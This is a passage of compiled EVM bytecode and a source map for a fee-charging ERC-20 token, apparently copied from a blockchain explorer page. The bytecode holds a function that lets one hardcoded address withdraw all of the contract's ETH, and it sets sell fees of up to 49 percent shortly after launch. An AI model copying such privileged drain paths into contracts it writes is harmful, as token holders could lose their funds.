6165f90815260016020526040808220805487900390559186168152908120805485929061155c908490611c4f565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115a891815260200190565b60405180910390a3506001949350505050565b5f806115c8858585611859565b905080156115e9576115db8530836114bc565b506115e68184611c81565b92505b6115f48585856114bc565b95945050505050565b5f600b544311801561161d5750435f908152600d60205260409020546002115b80156104f1575060085415611670576008546103e861163e6009600a611bab565b61164c90633b9aca00611bb9565b611657906005611bb9565b6116619190611c62565b61166b9190611c62565b611672565b5f5b82101592915050565b435f908152600d6020526040812080549161169583611c94565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f815181106116cd576116cd611cac565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561173d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117619190611cc0565b8160018151811061177457611774611cac565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117cb9085905f90869030904290600401611cdb565b5f604051808303815f87803b1580156117e2575f80fd5b505af19250505080156117f3575060015b610564575050565b6006545f906001600160a01b0316611814600284611c62565b6040515f81818185875af1925050503d805f811461184d576040519150601f19603f3d011682016040523d82523d5f602084013e611852565b606091505b5050505050565b5f600b545f10801561186c575043600b54105b156118d35760647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316146118b4576003546118b8565b6004545b6118c29084611bb9565b6118cc9190611c62565b9050610646565b60647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03161461192457600b541561191d576031611927565b6023611927565b60315b6119349060ff1684611bb9565b6106439190611c62565b5f6020808352835180828501525f5b818110156119695785810183015185820160400152820161194d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610568575f80fd5b5f80604083850312156119ae575f80fd5b82356119b981611989565b946020939093013593505050565b5f602082840312156119d7575f80fd5b813561064681611989565b5f805f606084860312156119f4575f80fd5b83356119ff81611989565b92506020840135611a0f81611989565b929592945050506040919091013590565b5f805f60608486031215611a32575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215611a5a575f80fd5b50508035926020909101359150565b5f8060408385031215611a7a575f80fd5b8235611a8581611989565b91506020830135611a9581611989565b809150509250929050565b5f60208284031215611ab0575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b0557815f1904821115611aeb57611aeb611ab7565b80851615611af857918102915b93841c9390800290611ad0565b509250929050565b5f82611b1b575060016104f1565b81611b2757505f6104f1565b8160018114611b3d5760028114611b4757611b63565b60019150506104f1565b60ff841115611b5857611b58611ab7565b50506001821b6104f1565b5060208310610133831016604e8410600b8410161715611b86575081810a6104f1565b611b908383611acb565b805f1904821115611ba357611ba3611ab7565b029392505050565b5f61064660ff841683611b0d565b80820281158282048414176104f1576104f1611ab7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c15575f80fd5b5051919050565b5f60208284031215611c2c575f80fd5b81518015158114610646575f80fd5b634e487b7160e01b5f52600160045260245ffd5b808201808211156104f1576104f1611ab7565b5f82611c7c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104f1576104f1611ab7565b5f60018201611ca557611ca5611ab7565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611cd0575f80fd5b815161064681611989565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611d295784516001600160a01b031683529383019391830191600101611d04565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122027cb7d5214b50077faf7f9e16ddfbd30e23499b1b0a5be3ba732e45592eb1ee764736f6c63430008140033

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063715018a6116100cd578063a9059cbb11610087578063dd62ed3e11610062578063dd62ed3e1461044b578063df7787a41461048f578063f2fde38b146104a3578063fe4b84df146104c2575f80fd5b8063a9059cbb146103d2578063c9567bf9146103f1578063d2f4a50a14610405575f80fd5b8063715018a61461032b578063743781321461033f5780638da5cb5b1461036e5780638f4590d21461039457806395d89b411461016f578063a08fc5c7146103b3575f80fd5b8063346cc7be1161011e578063346cc7be1461025a57806334c5d2ce14610279578063364333f4146102985780634fbee193146102ac5780635b895c29146102e357806370a08231146102f7575f80fd5b806306fdde031461016f578063095ea7b3146101ae57806318160ddd146101dd5780631a695230146101ff57806323b872dd14610220578063313ce5671461023f575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506040805180820182526008815267115512115493915560c21b602082015290516101a5919061193e565b60405180910390f35b3480156101b9575f80fd5b506101cd6101c836600461199d565b6104e1565b60405190151581526020016101a5565b3480156101e8575f80fd5b506101f16104f7565b6040519081526020016101a5565b34801561020a575f80fd5b5061021e6102193660046119c7565b610517565b005b34801561022b575f80fd5b506101cd61023a3660046119e2565b61056b565b34801561024a575f80fd5b50604051600981526020016101a5565b348015610265575f80fd5b5061021e6102743660046119c7565b61064d565b348015610284575f80fd5b5061021e610293366004611a20565b610847565b3480156102a3575f80fd5b5061021e6108a6565b3480156102b7575f80fd5b506101cd6102c63660046119c7565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102ee575f80fd5b5061021e61097c565b348015610302575f80fd5b506101f16103113660046119c7565b6001600160a01b03165f9081526001602052604090205490565b348015610336575f80fd5b5061021e610a27565b34801561034a575f80fd5b50600354600454610359919082565b604080519283526020830191909152016101a5565b348015610379575f80fd5b505f546040516001600160a01b0390911681526020016101a5565b34801561039f575f80fd5b5061021e6103ae366004611a49565b610a68565b3480156103be575f80fd5b5061021e6103cd366004611a49565b610ada565b3480156103dd575f80fd5b506101cd6103ec36600461199d565b610bf0565b3480156103fc575f80fd5b5061021e610bfc565b348015610410575f80fd5b5060055460065461042b916001600160a01b03908116911682565b604080516001600160a01b039384168152929091166020830152016101a5565b348015610456575f80fd5b506101f1610465366004611a69565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561049a575f80fd5b506101f1610cac565b3480156104ae575f80fd5b5061021e6104bd3660046119c7565b610ce0565b3480156104cd575f80fd5b5061021e6104dc366004611aa0565b610d86565b5f6104ed338484610e0e565b5060015b92915050565b5f6105046009600a611bab565b61051290633b9aca00611bb9565b905090565b337364386c08ccf852e0a68cc5d90c2dae6e2c5a7a0f0361016b576040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610564573d5f803e3d5ffd5b5050565b50565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f1914610638576001600160a01b0384165f9081526002602090815260408083203384529091529020548281101561060d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064015b60405180910390fd5b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b610643848484610f06565b90505b9392505050565b3361065f5f546001600160a01b031690565b6001600160a01b0316146106855760405162461bcd60e51b815260040161060490611bd0565b306001600160a01b038216036106e75760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b6064820152608401610604565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561072b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074f9190611c05565b90505f81116107aa5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b6064820152608401610604565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af11580156107f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108189190611c1c565b5060405181907f1b397b20ba57cb79b7049b820bc0db09780b6cbfb22a6a719f70d03a96d821ac905f90a25050565b336108595f546001600160a01b031690565b6001600160a01b03161461087f5760405162461bcd60e51b815260040161060490611bd0565b600b54608e1461088d575f80fd5b600a8290558083106108a1576108a1611c3b565b505050565b336108b85f546001600160a01b031690565b6001600160a01b0316146108de5760405162461bcd60e51b815260040161060490611bd0565b47476109255760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b6044820152606401610604565b60405133904780156108fc02915f818181858888f1935050505015801561094e573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b3361098e5f546001600160a01b031690565b6001600160a01b0316146109b45760405162461bcd60e51b815260040161060490611bd0565b305f9081526001602052604081205411610a1b5760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b6064820152608401610604565b610a255f19611330565b565b33610a395f546001600160a01b031690565b6001600160a01b031614610a5f5760405162461bcd60e51b815260040161060490611bd0565b610a255f61146d565b33610a7a5f546001600160a01b031690565b6001600160a01b031614610aa05760405162461bcd60e51b815260040161060490611bd0565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b33610aec5f546001600160a01b031690565b6001600160a01b031614610b125760405162461bcd60e51b815260040161060490611bd0565b600354821115610b645760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d7573742072656475636520627579206665650000000000006044820152606401610604565b600454811115610bb65760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c2066656500000000006044820152606401610604565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f610646338484610f06565b33610c0e5f546001600160a01b031690565b6001600160a01b031614610c345760405162461bcd60e51b815260040161060490611bd0565b600954610100900460ff16158015610c4e5750600b54608e145b8015610c5b57505f600a54115b610c63575f80fd5b600a54610c709043611c4f565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b6064610cba6009600a611bab565b610cc890633b9aca00611bb9565b610cd3906003611bb9565b610cdd9190611c62565b81565b33610cf25f546001600160a01b031690565b6001600160a01b031614610d185760405162461bcd60e51b815260040161060490611bd0565b6001600160a01b038116610d7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610604565b6105688161146d565b33610d985f546001600160a01b031690565b6001600160a01b031614610dbe5760405162461bcd60e51b815260040161060490611bd0565b600954610100900460ff16158015610dd6575080608e145b610dde575f80fd5b600b8190556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a150565b6001600160a01b038316610e5a5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610604565b6001600160a01b038216610ea65760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610604565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610f3157506005546001600160a01b038381169116145b80610f5357506001600160a01b0382165f908152600c602052604090205460ff165b610f9f5760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610604565b6001600160a01b0386166110035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610604565b6001600160a01b0385166110655760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610604565b831580611074575060095460ff165b1561108b576110848686866114bc565b9250611327565b7f00000000000000000000000046f11d828c61b5fa4d6b28c47bda9eb106afd3176001600160a01b0316856001600160a01b0316141580156110e557506001600160a01b0385165f908152600c602052604090205460ff16155b80156110ff57506005546001600160a01b03868116911614155b156111af5760646111126009600a611bab565b61112090633b9aca00611bb9565b61112b906003611bb9565b6111359190611c62565b6001600160a01b0386165f908152600160205260409020546111579086611c4f565b11156111af5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b6064820152608401610604565b60095460ff161580156111f357507f00000000000000000000000046f11d828c61b5fa4d6b28c47bda9eb106afd3176001600160a01b0316856001600160a01b0316145b801561121757506001600160a01b0386165f908152600c602052604090205460ff16155b801561123b57506001600160a01b0385165f908152600c602052604090205460ff16155b156112495761124984611330565b6001600160a01b0386165f908152600c602052604081205460ff1615801561128957506001600160a01b0386165f908152600c602052604090205460ff16155b801561130157507f00000000000000000000000046f11d828c61b5fa4d6b28c47bda9eb106afd3176001600160a01b0316876001600160a01b0316148061130157507f00000000000000000000000046f11d828c61b5fa4d6b28c47bda9eb106afd3176001600160a01b0316866001600160a01b0316145b9050801561131c576113148787876115bb565b935050611327565b6113148787876114bc565b50509392505050565b6009805460ff191660011790555f61135c306001600160a01b03165f9081526001602052604090205490565b90506103e861136d6009600a611bab565b61137b90633b9aca00611bb9565b611386906005611bb9565b6113909190611c62565b8110806113a357506113a1826115fd565b155b156113ae5750611460565b6007546103e86113c06009600a611bab565b6113ce90633b9aca00611bb9565b6113d9906005611bb9565b6113e39190611c62565b6113ed9190611bb9565b811115611436576007546103e86114066009600a611bab565b61141490633b9aca00611bb9565b61141f906005611bb9565b6114299190611c62565b6114339190611bb9565b90505b476114408261167b565b5f61144b8247611c81565b9050801561145c5761145c816117fb565b5050505b506009805460ff19169055565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f90815260016020526040812054828110156115245760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e636500000000006044820152606401610604565b6001600160a01b038086165f90815260016020526040808220805487900390559186168152908120805485929061155c908490611c4f565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115a891815260200190565b60405180910390a3506001949350505050565b5f806115c8858585611859565b905080156115e9576115db8530836114bc565b506115e68184611c81565b92505b6115f48585856114bc565b95945050505050565b5f600b544311801561161d5750435f908152600d60205260409020546002115b80156104f1575060085415611670576008546103e861163e6009600a611bab565b61164c90633b9aca00611bb9565b611657906005611bb9565b6116619190611c62565b61166b9190611c62565b611672565b5f5b82101592915050565b435f908152600d6020526040812080549161169583611c94565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f815181106116cd576116cd611cac565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561173d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117619190611cc0565b8160018151811061177457611774611cac565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117cb9085905f90869030904290600401611cdb565b5f604051808303815f87803b1580156117e2575f80fd5b505af19250505080156117f3575060015b610564575050565b6006545f906001600160a01b0316611814600284611c62565b6040515f81818185875af1925050503d805f811461184d576040519150601f19603f3d011682016040523d82523d5f602084013e611852565b606091505b5050505050565b5f600b545f10801561186c575043600b54105b156118d35760647f00000000000000000000000046f11d828c61b5fa4d6b28c47bda9eb106afd3176001600160a01b0316846001600160a01b0316146118b4576003546118b8565b6004545b6118c29084611bb9565b6118cc9190611c62565b9050610646565b60647f00000000000000000000000046f11d828c61b5fa4d6b28c47bda9eb106afd3176001600160a01b0316856001600160a01b03161461192457600b541561191d576031611927565b6023611927565b60315b6119349060ff1684611bb9565b6106439190611c62565b5f6020808352835180828501525f5b818110156119695785810183015185820160400152820161194d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610568575f80fd5b5f80604083850312156119ae575f80fd5b82356119b981611989565b946020939093013593505050565b5f602082840312156119d7575f80fd5b813561064681611989565b5f805f606084860312156119f4575f80fd5b83356119ff81611989565b92506020840135611a0f81611989565b929592945050506040919091013590565b5f805f60608486031215611a32575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215611a5a575f80fd5b50508035926020909101359150565b5f8060408385031215611a7a575f80fd5b8235611a8581611989565b91506020830135611a9581611989565b809150509250929050565b5f60208284031215611ab0575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b0557815f1904821115611aeb57611aeb611ab7565b80851615611af857918102915b93841c9390800290611ad0565b509250929050565b5f82611b1b575060016104f1565b81611b2757505f6104f1565b8160018114611b3d5760028114611b4757611b63565b60019150506104f1565b60ff841115611b5857611b58611ab7565b50506001821b6104f1565b5060208310610133831016604e8410600b8410161715611b86575081810a6104f1565b611b908383611acb565b805f1904821115611ba357611ba3611ab7565b029392505050565b5f61064660ff841683611b0d565b80820281158282048414176104f1576104f1611ab7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c15575f80fd5b5051919050565b5f60208284031215611c2c575f80fd5b81518015158114610646575f80fd5b634e487b7160e01b5f52600160045260245ffd5b808201808211156104f1576104f1611ab7565b5f82611c7c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104f1576104f1611ab7565b5f60018201611ca557611ca5611ab7565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611cd0575f80fd5b815161064681611989565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611d295784516001600160a01b031683529383019391830191600101611d04565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122027cb7d5214b50077faf7f9e16ddfbd30e23499b1b0a5be3ba732e45592eb1ee764736f6c63430008140033

Deployed Bytecode Sourcemap

2447:11253:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5676:79;;;;;;;;;;-1:-1:-1;5748:4:0;;;;;;;;;;;-1:-1:-1;;;5748:4:0;;;;5676:79;;;;5748:4;5676:79;:::i;:::-;;;;;;;;6011:161;;;;;;;;;;-1:-1:-1;6011:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6011:161:0;1023:187:1;5408:88:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5408:88:0;1215:177:1;11668:209:0;;;;;;;;;;-1:-1:-1;11668:209:0;;;;;:::i;:::-;;:::i;:::-;;6647:492;;;;;;;;;;-1:-1:-1;6647:492:0;;;;;:::i;:::-;;:::i;5502:79::-;;;;;;;;;;-1:-1:-1;5502:79:0;;2627:1;2252:36:1;;2240:2;2225:18;5502:79:0;2110:184:1;7147:428:0;;;;;;;;;;-1:-1:-1;7147:428:0;;;;;:::i;:::-;;:::i;7879:193::-;;;;;;;;;;-1:-1:-1;7879:193:0;;;;;:::i;:::-;;:::i;7583:288::-;;;;;;;;;;;;;:::i;12445:123::-;;;;;;;;;;-1:-1:-1;12445:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;12534:26:0;12510:4;12534:26;;;:17;:26;;;;;;;;;12445:123;8080:181;;;;;;;;;;;;;:::i;5761:103::-;;;;;;;;;;-1:-1:-1;5761:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;5844:18:0;5827:7;5844:18;;;:9;:18;;;;;;;5761:103;1965:94;;;;;;;;;;;;;:::i;3216:51::-;;;;;;;;;;-1:-1:-1;3216:51:0;;;;;;;;;;;;;2794:25:1;;;2850:2;2835:18;;2828:34;;;;2767:18;3216:51:0;2620:248:1;1746:87:0;;;;;;;;;;-1:-1:-1;1792:7:0;1819:6;1746:87;;-1:-1:-1;;;;;1819:6:0;;;3019:51:1;;3007:2;2992:18;1746:87:0;2873:203:1;12752:296:0;;;;;;;;;;-1:-1:-1;12752:296:0;;;;;:::i;:::-;;:::i;13057:371::-;;;;;;;;;;-1:-1:-1;13057:371:0;;;;;:::i;:::-;;:::i;6496:143::-;;;;;;;;;;-1:-1:-1;6496:143:0;;;;;:::i;:::-;;:::i;13436:222::-;;;;;;;;;;;;;:::i;3276:148::-;;;;;;;;;;-1:-1:-1;3276:148:0;;;;;;-1:-1:-1;;;;;3276:148:0;;;;;;;;;;;-1:-1:-1;;;;;3564:15:1;;;3546:34;;3616:15;;;;3611:2;3596:18;;3589:43;3481:18;3276:148:0;3334:304:1;5870:133:0;;;;;;;;;;-1:-1:-1;5870:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5972:19:0;;;5954:7;5972:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5870:133;2844:59;;;;;;;;;;;;;:::i;2067:192::-;;;;;;;;;;-1:-1:-1;2067:192:0;;;;;:::i;:::-;;:::i;12576:168::-;;;;;;;;;;-1:-1:-1;12576:168:0;;;;;:::i;:::-;;:::i;6011:161::-;6088:4;6105:37;6114:10;6126:7;6135:6;6105:8;:37::i;:::-;-1:-1:-1;6160:4:0;6011:161;;;;;:::o;5408:88::-;5463:7;2954:12;2627:1;2954:2;:12;:::i;:::-;2805:32;;:13;:32;:::i;:::-;5474:19;;5408:88;:::o;11668:209::-;11725:10;11739:42;11725:56;11722:147;;11796:49;;-1:-1:-1;;;;;11796:24:0;;;11822:21;11796:49;;;;;;;;;11822:21;11796:24;:49;;;;;;;;;;;;;;;;;;;;;11668:209;:::o;11722:147::-;11668:209;:::o;6647:492::-;-1:-1:-1;;;;;6758:19:0;;6738:4;6758:19;;;:11;:19;;;;;;;;6778:10;6758:31;;;;;;;;-1:-1:-1;;6758:52:0;6755:323;;-1:-1:-1;;;;;6853:19:0;;6826:24;6853:19;;;:11;:19;;;;;;;;6873:10;6853:31;;;;;;;;6907:26;;;;6899:68;;;;-1:-1:-1;;;6899:68:0;;6111:2:1;6899:68:0;;;6093:21:1;6150:2;6130:18;;;6123:30;6189:31;6169:18;;;6162:59;6238:18;;6899:68:0;;;;;;;;;-1:-1:-1;;;;;;7010:19:0;;;;;;:11;:19;;;;;;;;7030:10;7010:31;;;;;;;:41;;;;;;;6755:323;7095:36;7105:6;7113:9;7124:6;7095:9;:36::i;:::-;7088:43;;6647:492;;;;;;:::o;7147:428::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;7257:4:::1;-1:-1:-1::0;;;;;7233:29:0;::::1;::::0;7225:75:::1;;;::::0;-1:-1:-1;;;7225:75:0;;6830:2:1;7225:75:0::1;::::0;::::1;6812:21:1::0;6869:2;6849:18;;;6842:30;6908:34;6888:18;;;6881:62;-1:-1:-1;;;6959:18:1;;;6952:31;7000:19;;7225:75:0::1;6628:397:1::0;7225:75:0::1;7335:45;::::0;-1:-1:-1;;;7335:45:0;;7374:4:::1;7335:45;::::0;::::1;3019:51:1::0;7311:21:0::1;::::0;-1:-1:-1;;;;;7335:30:0;::::1;::::0;::::1;::::0;2992:18:1;;7335:45:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7311:69;;7415:1;7399:13;:17;7391:63;;;::::0;-1:-1:-1;;;7391:63:0;;7421:2:1;7391:63:0::1;::::0;::::1;7403:21:1::0;7460:2;7440:18;;;7433:30;7499:34;7479:18;;;7472:62;-1:-1:-1;;;7550:18:1;;;7543:31;7591:19;;7391:63:0::1;7219:397:1::0;7391:63:0::1;7465:56;::::0;-1:-1:-1;;;7465:56:0;;7495:10:::1;7465:56;::::0;::::1;7795:51:1::0;7862:18;;;7855:34;;;-1:-1:-1;;;;;7465:29:0;::::1;::::0;::::1;::::0;7768:18:1;;7465:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7539:28:0::1;::::0;7553:13;;7539:28:::1;::::0;;;::::1;7214:361;7147:428:::0;:::o;7879:193::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;7997:7:::1;;8008:3;7997:14;7989:23;;;::::0;::::1;;8013:6;:16:::0;;;8038:17;;::::1;8031:25;;;;:::i;:::-;7879:193:::0;;;:::o;7583:288::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;7666:21:::1;7706;7698:60;;;::::0;-1:-1:-1;;;7698:60:0;;8516:2:1;7698:60:0::1;::::0;::::1;8498:21:1::0;8555:2;8535:18;;;8528:30;-1:-1:-1;;;8574:18:1;;;8567:52;8636:18;;7698:60:0::1;8314:346:1::0;7698:60:0::1;7769:51;::::0;7777:10:::1;::::0;7798:21:::1;7769:51:::0;::::1;;;::::0;::::1;::::0;;;7798:21;7777:10;7769:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;7838:25:0::1;::::0;7849:13;;7838:25:::1;::::0;;;::::1;7631:240;7583:288::o:0;8080:181::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;8162:4:::1;8171:1;5844:18:::0;;;:9;:18;;;;;;8144:28:::1;8136:75;;;::::0;-1:-1:-1;;;8136:75:0;;8867:2:1;8136:75:0::1;::::0;::::1;8849:21:1::0;8906:2;8886:18;;;8879:30;8945:34;8925:18;;;8918:62;-1:-1:-1;;;8996:18:1;;;8989:32;9038:19;;8136:75:0::1;8665:398:1::0;8136:75:0::1;8222:31;-1:-1:-1::0;;8222:12:0::1;:31::i;:::-;8080:181::o:0;1965:94::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;2030:21:::1;2048:1;2030:9;:21::i;12752:296::-:0;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;12864:21:::1;:43:::0;;;12918:21:::1;:43:::0;;;12979:61:::1;::::0;12942:19;;12888;;12979:61:::1;::::0;-1:-1:-1;;12979:61:0::1;12752:296:::0;;:::o;13057:371::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;13161:11:::1;:18:::0;13150:29;::::1;;13142:68;;;::::0;-1:-1:-1;;;13142:68:0;;9270:2:1;13142:68:0::1;::::0;::::1;9252:21:1::0;9309:2;9289:18;;;9282:30;9348:28;9328:18;;;9321:56;9394:18;;13142:68:0::1;9068:350:1::0;13142:68:0::1;13241:19:::0;;13229:31;::::1;;13221:71;;;::::0;-1:-1:-1;;;13221:71:0;;9625:2:1;13221:71:0::1;::::0;::::1;9607:21:1::0;9664:2;9644:18;;;9637:30;9703:29;9683:18;;;9676:57;9750:18;;13221:71:0::1;9423:351:1::0;13221:71:0::1;13303:11;:28:::0;;;13342:19;:30;;;13390::::1;::::0;13364:8;;13324:7;;13390:30:::1;::::0;13303:18:::1;::::0;13390:30:::1;13057:371:::0;;:::o;6496:143::-;6567:4;6591:40;6601:10;6613:9;6624:6;6591:9;:40::i;13436:222::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;13498:13:::1;::::0;::::1;::::0;::::1;;;13497:14;:32:::0;::::1;;;;13515:7;;13526:3;13515:14;13497:32;:46;;;;;13542:1;13533:6;;:10;13497:46;13489:55;;;::::0;::::1;;13580:6;::::0;13565:21:::1;::::0;:12:::1;:21;:::i;:::-;13555:7;:31:::0;13597:13:::1;:20:::0;;-1:-1:-1;;13597:20:0::1;;;::::0;;13635:15:::1;::::0;::::1;::::0;13597:20;;13635:15:::1;13436:222::o:0;2844:59::-;2900:3;2954:12;2627:1;2954:2;:12;:::i;:::-;2805:32;;:13;:32;:::i;:::-;2881:16;;:1;:16;:::i;:::-;:22;;;;:::i;:::-;2844:59;:::o;2067:192::-;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2156:22:0;::::1;2148:73;;;::::0;-1:-1:-1;;;2148:73:0;;10333:2:1;2148:73:0::1;::::0;::::1;10315:21:1::0;10372:2;10352:18;;;10345:30;10411:34;10391:18;;;10384:62;-1:-1:-1;;;10462:18:1;;;10455:36;10508:19;;2148